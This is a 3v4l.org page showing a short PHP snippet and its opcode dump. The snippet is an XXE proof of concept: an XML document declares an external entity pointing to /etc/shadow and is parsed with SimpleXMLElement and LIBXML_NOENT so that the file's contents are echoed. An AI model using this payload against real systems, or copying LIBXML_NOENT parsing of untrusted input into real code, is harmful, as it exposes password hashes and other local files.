3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp SYSTEM "/etc/shadow"> ] > <strony> <strona id="cccc"> <nazwa>bbbb</nazwa> <url>http://www.aaaa.pl/</url> <komentarz> &shp;</komentarz> </strona> </strony>'; $strony = new SimpleXMLElement($xml, LIBXML_NOENT); foreach($strony->strona->komentarz as $komentarz) echo "$komentarz\n";
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 9, Position 2 = 14
Branch analysis from position: 9
2 jumps found. (Code = 78) Position 1 = 10, Position 2 = 14
Branch analysis from position: 10
1 jumps found. (Code = 42) Position 1 = 9
Branch analysis from position: 9
Branch analysis from position: 14
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 14
filename:       /in/4vtQk
function name:  (null)
number of ops:  16
compiled vars:  !0 = $xml, !1 = $strony, !2 = $komentarz
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE+strony+%5B+%0A++%3C%21ENTITY+shp+SYSTEM+%22%2Fetc%2Fshadow%22%3E%0A%5D+%3E%0A%3Cstrony%3E%0A%09%3Cstrona+id%3D%22cccc%22%3E%0A%09%09%3Cnazwa%3Ebbbb%3C%2Fnazwa%3E%0A%09%09%3Curl%3Ehttp%3A%2F%2Fwww.aaaa.pl%2F%3C%2Furl%3E%0A%09%09%3Ckomentarz%3E+%26shp%3B%3C%2Fkomentarz%3E%0A%09%3C%2Fstrona%3E%0A%3C%2Fstrony%3E'
   14     1        NEW                                              $4      'SimpleXMLElement'
          2        SEND_VAR_EX                                              !0
          3        SEND_VAL_EX                                              2
          4        DO_FCALL                                      0          
          5        ASSIGN                                                   !1, $4
   15     6        FETCH_OBJ_R                                      ~7      !1, 'strona'
          7        FETCH_OBJ_R                                      ~8      ~7, 'komentarz'
          8      > FE_RESET_R                                       $9      ~8, ->14
          9    > > FE_FETCH_R                                               $9, !2, ->14
   16    10    >   NOP                                                      
         11        FAST_CONCAT                                      ~10     !2, '%0A'
         12        ECHO                                                     ~10
   15    13      > JMP                                                      ->9
         14    >   FE_FREE                                                  $9
   16    15      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
163.16 ms | 1393 KiB | 13 Q